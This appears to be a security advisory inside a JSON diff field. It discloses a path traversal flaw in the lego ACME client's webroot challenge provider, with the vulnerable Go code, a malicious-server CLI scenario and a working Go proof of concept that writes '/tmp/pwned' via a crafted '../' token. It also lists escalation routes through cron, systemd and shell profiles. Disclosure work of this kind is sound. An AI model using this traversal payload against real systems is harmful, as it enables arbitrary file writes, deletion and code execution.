+ "details": "### Summary\n\nThe webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing `../` sequences, causing lego to write attacker-influenced content to any path writable by the lego process. \n\n### Details\n\nThe `ChallengePath()` function in `challenge/http01/http_challenge.go:26-27` constructs the challenge file path by directly concatenating the ACME token without any validation:\n\n```go\nfunc ChallengePath(token string) string {\n\treturn \"/.well-known/acme-challenge/\" + token\n}\n```\n\nThe webroot provider in `providers/http/webroot/webroot.go:31` then joins this with the configured webroot directory and writes the key authorization content to the resulting path:\n\n```go\nchallengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))\nerr = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)\nerr = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)\n```\n\nRFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet (`[A-Za-z0-9_-]`), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as `../../../../../../tmp/evil`, `filepath.Join()` resolves the `..` components, producing a path outside the webroot directory.\n\nThe same vulnerability exists in the `CleanUp()` function at `providers/http/webroot/webroot.go:48`, which deletes the challenge file using the same unsanitized path:\n\n```go\nerr := os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))\n```\n\nThis additionally enables arbitrary file deletion.\n\n### PoC\n\nIn a real attack scenario, the victim uses `--server` to point lego at a malicious ACME server, combined with `--http.webroot`:\n\n```bash\nlego --server https://malicious-acme.example.com \\\n --http --http.webroot /var/www/html \\\n --email user@example.com \\\n --domains example.com \\\n run\n```\n\nThe malicious server returns a challenge token containing path traversal sequences `../../../../../../tmp/pwned`. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot.\n\nThe following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/go-acme/lego/v4/providers/http/webroot\"\n)\n\nfunc main() {\n\twebrootDir, _ := os.MkdirTemp(\"\", \"lego-webroot-*\")\n\tdefer os.RemoveAll(webrootDir)\n\n\tprovider, _ := webroot.NewHTTPProvider(webrootDir)\n\ttoken := \"../../../../../../../../../../tmp/pwned\"\n\tprovider.Present(\"example.com\", token, \"EXPLOITED-BY-PATH-TRAVERSAL\")\n\n\tdata, err := os.ReadFile(\"/tmp/pwned\")\n\tif err == nil {\n\t\tfmt.Println(\"[+] VULNERABILITY CONFIRMED\")\n\t\tfmt.Printf(\"[+] File written outside webroot: /tmp/pwned\\n\")\n\t\tfmt.Printf(\"[+] Content: %s\\n\", data)\n\t}\n}\n```\n\n```bash\ngo build -o exploit ./exploit.go && ./exploit\n```\n\nExpected output:\n\n```\n[+] VULNERABILITY CONFIRMED\n[+] File written outside webroot: /tmp/pwned\n[+] Content: EXPLOITED-BY-PATH-TRAVERSAL\n```\n\n### Impact\n\nThis is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected.\n\nA malicious ACME server can:\n\n- Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot.\n- Destroy data by overwriting configuration files, TLS certificates, or application state.\n- Escalate privileges if lego runs as root, granting unrestricted filesystem write access.\n- Delete arbitrary files via the `CleanUp()` code path using the same unsanitized token.",
0 commit comments